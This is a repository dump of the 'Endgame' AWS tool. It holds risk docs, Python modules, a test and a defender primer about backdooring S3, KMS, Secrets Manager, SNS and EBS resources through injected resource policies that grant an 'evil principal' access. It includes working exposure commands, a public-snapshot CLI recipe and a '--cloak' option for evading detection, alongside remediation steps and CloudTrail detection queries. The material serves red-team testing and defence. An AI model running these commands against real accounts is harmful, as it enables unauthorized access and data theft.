_Grants permission to remove a statement from the permissions policy for a version of an AWS Lambda layer_ 59 | 60 | Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/) 61 | 62 | ## References 63 | 64 | * [aws lambda add-layer-version-permission](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/add-layer-version-permission.html) 65 | * [aws lambda get-layer-version-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/get-layer-version-policy.html) 66 | * [Access Analyzer support for AWS Lambda Functions](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-lambda) 67 | -------------------------------------------------------------------------------- /docs/risks/kms.md: -------------------------------------------------------------------------------- 1 | # KMS Keys 2 | 3 | * [Steps to Reproduce](#steps-to-reproduce) 4 | * [Exploitation](#exploitation) 5 | * [Remediation](#remediation) 6 | * [Basic Detection](#basic-detection) 7 | * [References](#references) 8 | 9 | ## Steps to Reproduce 10 | 11 | * To expose the resource using `endgame`, run the following from the victim account: 12 | 13 | ```bash 14 | export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil 15 | 16 | endgame expose --service kms --name test-resource-exposure 17 | ``` 18 | 19 | * To view the contents of the Glacier Vault Access Policy, run the following: 20 | 21 | ```bash 22 | export VICTIM_KEY_ARN=arn:aws:kms:us-east-2:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab 23 | 24 | aws kms get-key-policy --key-id $VICTIM_KEY_ARN --policy-name default 25 | ``` 26 | 27 | * Observe that the output of the overly permissive KMS Key Policy resembles the example shown below. 28 | 29 | ## Example 30 | 31 | Observe that the policy below allows the evil principal (`arn:aws:iam::999988887777:user/evil`) the `kms:*` permissions to the KMS Key. 32 | 33 | ```json 34 | { 35 | "Version": "2012-10-17", 36 | "Statement": [ 37 | { 38 | "Sid": "Endgame", 39 | "Effect": "Allow", 40 | "Principal": { 41 | "AWS": "arn:aws:iam::999988887777:user/evil" 42 | }, 43 | "Action": "kms:*", 44 | "Resource": "arn:aws:kms:us-east-1:111122223333:key/1234abcd-12ab-34cd-56ef-1234567890ab" 45 | } 46 | ] 47 | } 48 | ``` 49 | 50 | ## Exploitation 51 | 52 | ``` 53 | TODO 54 | ``` 55 | 56 | ## Remediation 57 | 58 | * **Leverage Strong Resource-based Policies**: Follow the resource-based policy recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#leverage-strong-resource-based-policies) 59 | * **Trusted Accounts Only**: Ensure that KMS Keys are only shared with trusted accounts, and that the trusted accounts truly need access to the key. 60 | * **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary. 61 | * **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to KMS Keys. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) for more details. 62 | * **Restrict access to IAM permissions that could lead to exposure of your KMS Keys**: Tightly control access to the following IAM actions: 63 | - [kms:PutKeyPolicy](https://docs.aws.amazon.com/kms/latest/APIReference/API_PutKeyPolicy.html): _Controls permission to replace the key policy for the specified customer master key_ 64 | - [kms:GetKeyPolicy](https://docs.aws.amazon.com/kms/latest/APIReference/API_GetKeyPolicy.html): _Controls permission to view the key policy for the specified customer master key_ 65 | - [kms:ListKeys](https://docs.aws.amazon.com/kms/latest/APIReference/API_ListKeys.html): _Controls permission to view the key ID and Amazon Resource Name (ARN) of all customer master keys in the account_ 66 | - [kms:ListAliases](https://docs.aws.amazon.com/kms/latest/APIReference/API_ListAliases.html): _Controls permission to view the aliases that are defined in the account. Aliases are optional friendly names that you can associate with customer master keys_ 67 | 68 | Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/) 69 | 70 | ## Basic Detection 71 | The following CloudWatch Log Insights query will include exposure actions taken by endgame: 72 | ``` 73 | fields eventTime, eventSource, eventName, userIdentity.arn, userAgent 74 | | filter eventSource='kms.amazonaws.com' and eventName='PutKeyPolicy' 75 | ``` 76 | 77 | The following query detects policy modifications which include the default IOC string: 78 | ``` 79 | fields eventTime, eventSource, eventName, userIdentity.arn, userAgent 80 | | filter eventSource='kms.amazonaws.com' and (eventName='PutKeyPolicy' and requestParameters.policy like 'Endgame') 81 | ``` 82 | 83 | This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group. 84 | 85 | ## References 86 | 87 | * [put-key-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/kms/put-key-policy.html) 88 | * [get-key-policy](https://awscli.amazonaws.com/v2/documentation/api/latest/reference/kms/get-key-policy.html) -------------------------------------------------------------------------------- /endgame/exposure_via_resource_policies/secrets_manager.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import json 3 | import boto3 4 | import botocore 5 | from abc import ABC 6 | from botocore.exceptions import ClientError 7 | from endgame.shared import constants 8 | from endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes 9 | from endgame.shared.policy_document import PolicyDocument 10 | from endgame.shared.list_resources_response import ListResourcesResponse 11 | from endgame.shared.response_message import ResponseMessage 12 | from endgame.shared.response_message import ResponseGetRbp 13 | 14 | logger = logging.getLogger(__name__) 15 | 16 | 17 | class SecretsManagerSecret(ResourceType, ABC): 18 | def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str): 19 | self.service = "secretsmanager" 20 | self.resource_type = "secret" 21 | self.region = region 22 | self.current_account_id = current_account_id 23 | self.name = name 24 | super().__init__(name, self.resource_type, self.service, region, client, current_account_id) 25 | 26 | @property 27 | def arn(self) -> str: 28 | return f"arn:aws:{self.service}:{self.region}:{self.current_account_id}:{self.resource_type}/{self.name}" 29 | 30 | def _get_rbp(self) -> ResponseGetRbp: 31 | """Get the resource based policy for this resource and store it""" 32 | logger.debug("Getting resource policy for %s" % self.arn) 33 | try: 34 | response = self.client.get_resource_policy(SecretId=self.name) 35 | if response.get("ResourcePolicy"): 36 | policy = json.loads(response.get("ResourcePolicy")) 37 | else: 38 | policy = constants.get_empty_policy() 39 | success = True 40 | except botocore.exceptions.ClientError: 41 | # When there is no policy, let's return an empty policy to avoid breaking things 42 | policy = constants.get_empty_policy() 43 | success = False 44 | policy_document = PolicyDocument( 45 | policy=policy, 46 | service=self.service, 47 | override_action=self.override_action, 48 | include_resource_block=self.include_resource_block, 49 | override_resource_block=self.override_resource_block, 50 | override_account_id_instead_of_principal=self.override_account_id_instead_of_principal, 51 | ) 52 | response = ResponseGetRbp(policy_document=policy_document, success=success) 53 | return response 54 | 55 | def set_rbp(self, evil_policy: dict) -> ResponseMessage: 56 | logger.debug("Setting resource policy for %s" % self.arn) 57 | new_policy = json.dumps(evil_policy) 58 | try: 59 | self.client.put_resource_policy(SecretId=self.name, ResourcePolicy=new_policy) 60 | message = "success" 61 | success = True 62 | except botocore.exceptions.ClientError as error: 63 | message = str(error) 64 | success = False 65 | response_message = ResponseMessage(message=message, operation="set_rbp", success=success, evil_principal="", 66 | victim_resource_arn=self.arn, original_policy=self.original_policy, 67 | updated_policy=evil_policy, resource_type=self.resource_type, 68 | resource_name=self.name, service=self.service) 69 | return response_message 70 | 71 | 72 | class SecretsManagerSecrets(ResourceTypes): 73 | def __init__(self, client: boto3.Session.client, current_account_id: str, region: str): 74 | super().__init__(client, current_account_id, region) 75 | self.service = "secretsmanager" 76 | self.resource_type = "secret" 77 | 78 | @property 79 | def resources(self) -> [ListResourcesResponse]: 80 | """Get a list of these resources""" 81 | resources = [] 82 | 83 | paginator = self.client.get_paginator("list_secrets") 84 | page_iterator = paginator.paginate() 85 | for page in page_iterator: 86 | these_resources = page["SecretList"] 87 | for resource in these_resources: 88 | name = resource.get("Name") 89 | arn = resource.get("ARN") 90 | list_resources_response = ListResourcesResponse( 91 | service=self.service, account_id=self.current_account_id, arn=arn, region=self.region, 92 | resource_type=self.resource_type, name=name) 93 | resources.append(list_resources_response) 94 | return resources 95 | -------------------------------------------------------------------------------- /docs/resource-policy-primer.md: -------------------------------------------------------------------------------- 1 | # AWS Resource Policies, Endgame, and You 2 | ## Background 3 | AWS resource policies enable developers to grant permissions to specified principals (or the internet) using policy documents that apply only to a specific resource (ex: buckets, KMS keys, etc). This enables very granular access to resources to be achieved. For example, you can grant an IAM user in another account very specific permissions to a single S3 bucket without requiring them to assume a role in your account. 4 | 5 | ## Identity Policies vs. Resource Policies 6 | The key thing to remember with resource-based policies is that they are attached _directly to an AWS resource_, like an S3 bucket, and are considered as one component in the policy evaluation that occurs when an API call is made. They are managed _by the service itself_, not IAM. Identity-based policies are attached to _an IAM principal_ such as an IAM user or role. These policies define what a principal can do across all services and resources; however, they do not always limit what permissions can be granted to the principal by a resource-based policy. 7 | 8 | ## Policy Evaluation Process 9 | In the context of Endgame, the most important process to understand is the one documented [here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html). This process defines how resource policies and identity policies interact when _cross-account_ calls are made to a resource, which is the most likely scenario for an Endgame victim. To summarize the document, when the principal making the API call is in a different account than the resource the call targets, both the identity policy of the calling principal and the resource policy of the subject resource must permit the call (this is different than when the principal and resource are in the same account). Endgame exploits the fact that since the attacker controls their own account, access to a resource in a victim account can be granted using the resource policy alone. 10 | 11 | ## What This Means for Defenders 12 | ### How Endgame Works 13 | The prerequisite for an attacker running Endgame is they have access to AWS API credentials for the victim account which have privileges to update resource policies. 14 | 15 | Endgame can run in two modes, ```expose``` or ```smash```. The less-destructive ```expose``` mode is surgical, updating the resource policy on a single attacker-defined resource to include a back door to a principal they control (or the internet if they're mean). 16 | 17 | ```smash```, on the other hand, is more destructive (and louder). ```smash``` can run on a single service or all supported services. In either case, for each service it enumerates a list of resources in that region, reads the current resource policy on each, and applies a new policy which includes the "evil principal" the attacker has specified. The net effect of this is that depending on the privileges they have in the victim account, an attacker can insert dozens of back doors which are not controlled by the victim's IAM policies. 18 | 19 | These back doors largely grant access to accomplish data exfiltration from buckets, snapshots, etc. However, other things could be possible depending on the victim account's architecture. For example, an attacker could use these back doors to: 20 | 21 | * Escalate privileges by enabling the attacker's evil principal to assume roles in the victim account 22 | * Manipulate CI/CD pipelines which rely on AWS S3 as an artifact source 23 | * Modify Lambda functions to include back doors, skimmers, etc for Lambda-based serverless applications 24 | * Invoke Lambda functions with unfiltered input, bypassing API Gateway for serverless API's 25 | * Provide attacker-defined input to applications which leverage SQS or SNS for work control 26 | * Pivot to other applications which have credentials stored in Secrets Manager 27 | * And more! 28 | 29 | ### Incident Identification & Containment Steps 30 | In incidents where resource policies may have been modified (can be determined using CloudTrail, see [risks](/docs/risks/)), each resource policy should be reviewed to identify potential back doors or unintended internet exposure. The attacker's interactions with these resources should also be reviewed where possible. 31 | 32 | CloudTrail only logs data-level events (S3 object retrieval, Lambda function invocation, etc) for three services: S3, Lambda, and KMS. This visibility is also not enabled by default on trails. Other management-level events such as manipulation of Lambda function code will be visible in a standard management-event CloudTrail trail. Further documentation for working with CloudTrail can be found [here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-getting-started.html). -------------------------------------------------------------------------------- /test/exposure_via_resource_policies/test_sqs.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import warnings 3 | import json 4 | from moto import mock_sqs 5 | from endgame.exposure_via_resource_policies.sqs import SqsQueue, SqsQueues 6 | from endgame.shared.aws_login import get_boto3_client 7 | from endgame.shared import constants 8 | 9 | MY_RESOURCE = "test-resource-exposure" 10 | EVIL_PRINCIPAL = "arn:aws:iam::999988887777:user/evil" 11 | 12 | 13 | # https://github.com/spulec/moto/blob/master/tests/test_sqs/test_sqs.py 14 | class SqsTestCase(unittest.TestCase): 15 | def setUp(self): 16 | with warnings.catch_warnings(): 17 | warnings.filterwarnings("ignore", category=DeprecationWarning) 18 | self.mock = mock_sqs() 19 | self.mock.start() 20 | current_account_id = "123456789012" 21 | region = "us-east-1" 22 | self.client = get_boto3_client(profile=None, service="sqs", region=region) 23 | self.queue_url = self.client.create_queue(QueueName=MY_RESOURCE)["QueueUrl"] 24 | self.example = SqsQueue(name=MY_RESOURCE, region=region, client=self.client, 25 | current_account_id=current_account_id) 26 | self.queues = SqsQueues(client=self.client, current_account_id=current_account_id, region=region) 27 | 28 | def test_list_queues(self): 29 | print(self.queues.resources[0].name) 30 | print(self.queues.resources[0].arn) 31 | self.assertTrue(self.queues.resources[0].name == "test-resource-exposure") 32 | self.assertTrue(self.queues.resources[0].arn.startswith("arn:aws:sqs:us-east-1:123456789012:test-resource-exposure")) 33 | 34 | def test_get_rbp(self): 35 | # response = self.client.get_queue_attributes(QueueUrl=self.queue_url) 36 | queue_arn = self.client.get_queue_attributes(QueueUrl=self.queue_url)["Attributes"]["QueueArn"] 37 | # actual_policy = self.client.get_queue_attributes(QueueUrl=self.queue_url, AttributeNames=["Policy"]) 38 | print(queue_arn) 39 | expected_original_policy = { 40 | "Version": "2012-10-17", 41 | "Statement": [] 42 | } 43 | print(json.dumps(self.example.original_policy, indent=4)) 44 | self.assertDictEqual(self.example.original_policy, expected_original_policy) 45 | 46 | def test_set_rbp(self): 47 | expected_results = { 48 | "Version": "2012-10-17", 49 | "Statement": [ 50 | { 51 | "Sid": "AllowCurrentAccount", 52 | "Effect": "Allow", 53 | "Principal": { 54 | "AWS": [ 55 | "arn:aws:iam::123456789012:root" 56 | ] 57 | }, 58 | "Resource": [ 59 | "arn:aws:sqs:us-east-1:123456789012:test-resource-exposure" 60 | ], 61 | "Action": [ 62 | "sqs:*" 63 | ] 64 | }, 65 | { 66 | "Sid": "Endgame", 67 | "Effect": "Allow", 68 | "Principal": { 69 | "AWS": [ 70 | "arn:aws:iam::999988887777:root" 71 | ] 72 | }, 73 | "Resource": [ 74 | "arn:aws:sqs:us-east-1:123456789012:test-resource-exposure" 75 | ], 76 | "Action": [ 77 | "sqs:*" 78 | ] 79 | } 80 | ] 81 | } 82 | response = self.example.set_rbp(evil_policy=expected_results) 83 | # print(json.dumps(results, indent=4)) 84 | self.maxDiff = None 85 | self.assertDictEqual(response.updated_policy, expected_results) 86 | 87 | def test_add_myself(self): 88 | result = self.example.add_myself(evil_principal=EVIL_PRINCIPAL) 89 | print(result.updated_policy_sids) 90 | self.assertListEqual(result.updated_policy_sids, ["AllowCurrentAccount", f"{constants.SID_SIGNATURE}"]) 91 | 92 | def test_undo(self): 93 | add_myself_result = self.example.add_myself(evil_principal=EVIL_PRINCIPAL) 94 | print(add_myself_result.updated_policy_sids) 95 | result = self.example.undo(evil_principal=EVIL_PRINCIPAL) 96 | print(result.updated_policy_sids) 97 | self.assertListEqual(result.updated_policy_sids, ["AllowCurrentAccount"]) 98 | 99 | def tearDown(self): 100 | self.client.delete_queue(QueueUrl=self.example.queue_url) 101 | self.mock.stop() 102 | -------------------------------------------------------------------------------- /endgame/exposure_via_resource_policies/s3.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import json 3 | import boto3 4 | import botocore 5 | from abc import ABC 6 | from botocore.exceptions import ClientError 7 | from endgame.shared import constants 8 | from endgame.exposure_via_resource_policies.common import ResourceType, ResourceTypes 9 | from endgame.shared.policy_document import PolicyDocument 10 | from endgame.shared.list_resources_response import ListResourcesResponse 11 | from endgame.shared.response_message import ResponseMessage, ResponseGetRbp 12 | 13 | logger = logging.getLogger(__name__) 14 | 15 | 16 | class S3Bucket(ResourceType, ABC): 17 | def __init__(self, name: str, region: str, client: boto3.Session.client, current_account_id: str): 18 | self.service = "s3" 19 | self.resource_type = "bucket" 20 | self.region = region 21 | self.current_account_id = current_account_id 22 | self.name = name 23 | super().__init__(name, self.resource_type, self.service, region, client, current_account_id) 24 | 25 | @property 26 | def arn(self) -> str: 27 | return f"arn:aws:{self.service}:::{self.name}" 28 | 29 | def _get_rbp(self) -> ResponseGetRbp: 30 | """Get the resource based policy for this resource and store it""" 31 | logger.debug("Getting resource policy for %s" % self.arn) 32 | policy = constants.get_empty_policy() 33 | try: 34 | response = self.client.get_bucket_policy(Bucket=self.name) 35 | policy = json.loads(response.get("Policy")) 36 | message = "200: Successfully obtained bucket policy for %s" % self.arn 37 | success = True 38 | except botocore.exceptions.ClientError as error: 39 | error_code = error.response['Error']['Code'] 40 | message = f"{error_code}: {error.response.get('Error').get('Message')} for {error.response.get('Error').get('BucketName')}" 41 | if error.response['Error']['Code'] == "AccessDenied": 42 | success = False 43 | elif error.response['Error']['Code'] == "NoSuchBucketPolicy": 44 | success = True 45 | else: 46 | # This occurs when there is no resource policy attached 47 | success = True 48 | except Exception as error: 49 | message = error 50 | success = False 51 | logger.debug(message) 52 | policy_document = PolicyDocument( 53 | policy=policy, 54 | service=self.service, 55 | override_action=self.override_action, 56 | include_resource_block=self.include_resource_block, 57 | override_resource_block=self.override_resource_block, 58 | override_account_id_instead_of_principal=self.override_account_id_instead_of_principal, 59 | ) 60 | response = ResponseGetRbp(policy_document=policy_document, success=success) 61 | return response 62 | 63 | def set_rbp(self, evil_policy: dict) -> ResponseMessage: 64 | logger.debug("Setting resource policy for %s" % self.arn) 65 | new_policy = json.dumps(evil_policy) 66 | try: 67 | self.client.put_bucket_policy(Bucket=self.name, Policy=new_policy) 68 | message = "success" 69 | success = True 70 | except botocore.exceptions.ClientError as error: 71 | message = str(error) 72 | success = False 73 | response_message = ResponseMessage(message=message, operation="set_rbp", success=success, evil_principal="", 74 | victim_resource_arn=self.arn, original_policy=self.original_policy, 75 | updated_policy=evil_policy, resource_type=self.resource_type, 76 | resource_name=self.name, service=self.service) 77 | return response_message 78 | 79 | 80 | class S3Buckets(ResourceTypes): 81 | def __init__(self, client: boto3.Session.client, current_account_id: str, region: str): 82 | super().__init__(client, current_account_id, region) 83 | self.service = "s3" 84 | self.resource_type = "bucket" 85 | 86 | @property 87 | def resources(self) -> [ListResourcesResponse]: 88 | """Get a list of these resources""" 89 | response = self.client.list_buckets() 90 | resources = [] 91 | for resource in response.get("Buckets"): 92 | name = resource.get("Name") 93 | arn = f"arn:aws:{self.service}:::{name}" 94 | list_resources_response = ListResourcesResponse( 95 | service=self.service, account_id=self.current_account_id, arn=arn, region=self.region, 96 | resource_type=self.resource_type, name=name) 97 | resources.append(list_resources_response) 98 | return resources 99 | -------------------------------------------------------------------------------- /docs/risks/ebs.md: -------------------------------------------------------------------------------- 1 | # EBS Snapshot Exposure 2 | 3 | * [Steps to Reproduce](#steps-to-reproduce) 4 | * [Exploitation](#exploitation) 5 | * [Remediation](#remediation) 6 | * [Basic Detection](#basic-detection) 7 | * [References](#references) 8 | 9 | ## Steps to Reproduce 10 | 11 | * To expose the resource using `endgame`, run the following from the victim account: 12 | 13 | ```bash 14 | export EVIL_PRINCIPAL=* 15 | export SNAPSHOT_ID=snap-1234567890abcdef0 16 | 17 | endgame expose --service ebs --name $SNAPSHOT_ID 18 | ``` 19 | 20 | * To expose the resource using the AWS CLI, run the following from the victim account: 21 | 22 | ```bash 23 | export SNAPSHOT_ID=snap-1234567890abcdef0 24 | 25 | aws ec2 modify-snapshot-attribute \ 26 | --snapshot-id $SNAPSHOT_ID \ 27 | --attribute createVolumePermission \ 28 | --operation-type add \ 29 | --group-names all 30 | ``` 31 | 32 | * To verify that the snapshot has been shared with the public, run the following from the victim account: 33 | 34 | ```bash 35 | export SNAPSHOT_ID=snap-1234567890abcdef0 36 | 37 | aws ec2 describe-snapshot-attribute \ 38 | --snapshot-id $SNAPSHOT_ID \ 39 | --attribute createVolumePermission 40 | ``` 41 | 42 | * Observe that the contents match the example shown below. 43 | 44 | ## Example 45 | 46 | The response of `aws ec2 describe-snapshot-attribute` will match the below, indicating that the EBS snapshot is public. 47 | 48 | ```json 49 | { 50 | "SnapshotId": "snap-066877671789bd71b", 51 | "CreateVolumePermissions": [ 52 | { 53 | "Group": "all" 54 | } 55 | ] 56 | } 57 | ``` 58 | 59 | ## Exploitation 60 | 61 | After an EBS Snapshot is made public, an attacker can then: 62 | * [copy the public snapshot](https://docs.aws.amazon.com/cli/latest/reference/ec2/copy-snapshot.html) to their own account 63 | * Use the snapshot to create an EBS volume 64 | * Attach the EBS volume to their own EC2 instance and browse the contents of the disk, potentially revealing sensitive or otherwise non-public information. 65 | 66 | ## Remediation 67 | 68 | > ‼️ **Note**: At the time of this writing, AWS Access Analyzer does **NOT** support auditing of this resource type to prevent resource exposure. **We kindly suggest to the AWS Team that they support all resources that can be attacked using this tool**. 😊 69 | 70 | * **Encrypt all Snapshots with Customer-Managed Keys**: Follow the encryption-related recommendations in the [Prevention Guide](https://endgame.readthedocs.io/en/latest/prevention/#use-aws-kms-customer-managed-keys) 71 | * **Trusted Accounts Only**: Ensure that EBS Snapshots are only shared with trusted accounts, and that the trusted accounts truly need access to the EBS Snapshot. 72 | * **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary. 73 | * **Restrict access to IAM permissions that could lead to exposure of your EBS Snapshots**: Tightly control access to the following IAM actions: 74 | - [ec2:ModifySnapshotAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html): _Grants permission to add or remove permission settings for a snapshot_ 75 | - [ec2:DescribeSnapshotAttribute](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSnapshotAttribute.html): _Grants permission to describe an attribute of a snapshot. This includes information on which accounts the snapshot has been shared with._ 76 | - [ec2:DescribeSnapshots](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSnapshots.html): _Grants permission to describe one or more EBS snapshots_ 77 | 78 | Also, consider using [Cloudsplaining](https://github.com/salesforce/cloudsplaining/#cloudsplaining) to identify violations of least privilege in IAM policies. This can help limit the IAM principals that have access to the actions that could perform Resource Exposure activities. See the example report [here](https://opensource.salesforce.com/cloudsplaining/) 79 | 80 | ## Basic Detection 81 | The following CloudWatch Log Insights query will include exposure actions taken by endgame: 82 | ``` 83 | fields eventTime, eventSource, eventName, userIdentity.arn, userAgent 84 | | filter eventSource='ec2.amazonaws.com' and (eventName='ModifySnapshotAttribute' and requestParameters.attributeType='CREATE_VOLUME_PERMISSION') 85 | ``` 86 | 87 | This query assumes that your CloudTrail logs are being sent to CloudWatch and that you have selected the correct log group. 88 | 89 | ## References 90 | 91 | * [Sharing an Unencrypted Snapshot using the Console](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html#share-unencrypted-snapshot) 92 | * [Share a snapshot using the command line](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) 93 | * [aws ec2 copy-snapshot](https://docs.aws.amazon.com/cli/latest/reference/ec2/copy-snapshot.html) -------------------------------------------------------------------------------- /endgame/command/list_resources.py: -------------------------------------------------------------------------------- 1 | """ 2 | List exposable resources 3 | """ 4 | import logging 5 | import click 6 | from endgame import set_log_level 7 | from endgame.shared.aws_login import get_boto3_client, get_current_account_id 8 | from endgame.shared.validate import click_validate_supported_aws_service, click_validate_comma_separated_resource_names, \ 9 | click_validate_comma_separated_excluded_services 10 | from endgame.shared.resource_results import ResourceResults 11 | from endgame.shared import constants 12 | 13 | logger = logging.getLogger(__name__) 14 | 15 | 16 | @click.command(name="list-resources", short_help="List all resources that can be exposed via Endgame.") 17 | @click.option( 18 | "--service", 19 | "-s", 20 | type=str, 21 | required=True, 22 | help=f"The AWS service in question. Valid arguments: {', '.join(constants.SUPPORTED_AWS_SERVICES)}", 23 | callback=click_validate_supported_aws_service, 24 | ) 25 | @click.option( 26 | "--profile", 27 | "-p", 28 | type=str, 29 | required=False, 30 | help="Specify the AWS IAM profile.", 31 | envvar="AWS_PROFILE" 32 | ) 33 | @click.option( 34 | "--region", 35 | "-r", 36 | type=str, 37 | required=False, 38 | default="us-east-1", 39 | help="The AWS region. Set to 'all' to iterate through all regions.", 40 | envvar="AWS_REGION" 41 | ) 42 | @click.option( 43 | "--cloak", 44 | "-c", 45 | is_flag=True, 46 | default=False, 47 | help="Evade detection by using the default AWS SDK user agent instead of one that indicates usage of this tool.", 48 | ) 49 | @click.option( 50 | "--exclude", 51 | "-e", 52 | "excluded_names", 53 | type=str, 54 | default="", 55 | help="A comma-separated list of resource names to exclude from results", 56 | envvar="EXCLUDED_NAMES", 57 | callback=click_validate_comma_separated_resource_names 58 | ) 59 | @click.option( 60 | "--excluded-services", 61 | type=str, 62 | default="", 63 | help="A comma-separated list of services to exclude from results", 64 | envvar="EXCLUDED_SERVICES", 65 | callback=click_validate_comma_separated_resource_names 66 | ) 67 | @click.option( 68 | "-v", 69 | "--verbose", 70 | "verbosity", 71 | count=True, 72 | ) 73 | def list_resources(service, profile, region, cloak, excluded_names, excluded_services, verbosity): 74 | """ 75 | List AWS resources to expose. 76 | """ 77 | 78 | set_log_level(verbosity) 79 | 80 | # User-supplied arguments like `cloudwatch` need to be translated to the IAM name like `logs` 81 | user_provided_service = service 82 | # Get the boto3 clients 83 | sts_client = get_boto3_client(profile=profile, service="sts", region="us-east-1", cloak=cloak) 84 | current_account_id = get_current_account_id(sts_client=sts_client) 85 | if user_provided_service == "all" and region == "all": 86 | logger.critical("'--service all' and '--region all' detected; listing all resources across all services in the " 87 | "account. This might take a while - about 5 minutes.") 88 | elif region == "all": 89 | logger.debug("'--region all' selected; listing resources across the entire account, so this might take a while") 90 | else: 91 | pass 92 | if user_provided_service == "all": 93 | logger.debug("'--service all' selected; listing resources in ARN format to differentiate between services") 94 | 95 | resource_results = ResourceResults( 96 | user_provided_service=user_provided_service, 97 | user_provided_region=region, 98 | current_account_id=current_account_id, 99 | profile=profile, 100 | cloak=cloak, 101 | excluded_names=excluded_names, 102 | excluded_services=excluded_services 103 | ) 104 | results = resource_results.resources 105 | 106 | # Print the results 107 | if len(results) == 0: 108 | logger.warning("There are no resources given the criteria provided.") 109 | else: 110 | # If you provide --service all, then we will list the ARNs to differentiate services 111 | if user_provided_service == "all": 112 | logger.debug("'--service all' selected; listing resources in ARN format to differentiate between services") 113 | for resource in results: 114 | if resource.name not in excluded_names: 115 | print(resource.arn) 116 | else: 117 | logger.debug(f"Excluded: {resource.name}") 118 | else: 119 | logger.debug("Listing resources by name") 120 | for resource in results: 121 | if resource.name not in excluded_names: 122 | print(resource.name) 123 | else: 124 | logger.debug(f"Excluded: {resource.name}") 125 | -------------------------------------------------------------------------------- /docs/risks/sns.md: -------------------------------------------------------------------------------- 1 | # SNS Topics 2 | 3 | * [Steps to Reproduce](#steps-to-reproduce) 4 | * [Exploitation](#exploitation) 5 | * [Remediation](#remediation) 6 | * [Basic Detection](#basic-detection) 7 | * [References](#references) 8 | 9 | ## Steps to Reproduce 10 | 11 | * To expose the resource using `endgame`, run the following from the victim account: 12 | 13 | ```bash 14 | export EVIL_PRINCIPAL=arn:aws:iam::999988887777:user/evil 15 | 16 | endgame expose --service sns --name test-resource-exposure 17 | ``` 18 | 19 | * To verify that the SNS topic has been shared with the evil principal, run the following from the victim account: 20 | 21 | ```bash 22 | export VICTIM_RESOURCE=arn:aws:sns:us-east-1:111122223333:test-resource-exposure 23 | 24 | aws sns get-topic-attributes \ 25 | --topic-arn $VICTIM_RESOURCE 26 | ``` 27 | 28 | * Observe that the contents match the example shown below. 29 | 30 | ## Example 31 | 32 | The output will have the following structure: 33 | 34 | ```json 35 | { 36 | "Attributes": { 37 | "SubscriptionsConfirmed": "1", 38 | "DisplayName": "my-topic", 39 | "SubscriptionsDeleted": "0", 40 | "EffectiveDeliveryPolicy": "", 41 | "Owner": "111122223333", 42 | "Policy": "SeeBelow", 43 | "TopicArn": "arn:aws:sns:us-east-1:111122223333:test-resource-exposure", 44 | "SubscriptionsPending": "0" 45 | } 46 | } 47 | ``` 48 | 49 | The prettified version of the `Policy` key is below. Observe how the content of the policy grants the evil principal's account ID (`999988887777`) maximum access to the SNS topic. 50 | 51 | ```json 52 | { 53 | "Version": "2008-10-17", 54 | "Id": "__default_policy_ID", 55 | "Statement": [ 56 | { 57 | "Sid": "Endgame", 58 | "Effect": "Allow", 59 | "Principal": { 60 | "AWS": "999988887777" 61 | }, 62 | "Action": [ 63 | "SNS:AddPermission", 64 | "SNS:DeleteTopic", 65 | "SNS:GetTopicAttributes", 66 | "SNS:ListSubscriptionsByTopic", 67 | "SNS:Publish", 68 | "SNS:Receive", 69 | "SNS:RemovePermission", 70 | "SNS:SetTopicAttributes", 71 | "SNS:Subscribe" 72 | ], 73 | "Resource": "arn:aws:sns:us-east-1:111122223333:test-resource-exposure" 74 | } 75 | ] 76 | } 77 | ``` 78 | 79 | ## Exploitation 80 | 81 | ``` 82 | TODO 83 | ``` 84 | 85 | ## Remediation 86 | 87 | * **Trusted Accounts Only**: Ensure that SNS Topics are only shared with trusted accounts, and that the trusted accounts truly need access to the SNS Topic. 88 | * **Ensure access is necessary**: For any trusted accounts that do have access, ensure that the access is absolutely necessary. 89 | * **AWS Access Analyzer**: Leverage AWS Access Analyzer to report on external access to SNS Topics. See [the AWS Access Analyzer documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html) for more details. 90 | * **Restrict access to IAM permissions that could lead to exposure of your SNS Topics**: Tightly control access to the following IAM actions: 91 | - [sns:AddPermission](https://docs.aws.amazon.com/sns/latest/api/API_AddPermission.html): _Adds a statement to a topic's access control policy, granting access for the specified AWS accounts to the specified actions._ 92 | - [sns:RemovePermission](https://docs.aws.amazon.com/sns/latest/api/API_RemovePermission.html): _Removes a statement from a topic's access control policy._ 93 | - [sns:GetTopicAttributes](https://docs.aws.amazon.com/sns/latest/api/API_GetTopicAttributes.html): _Returns all 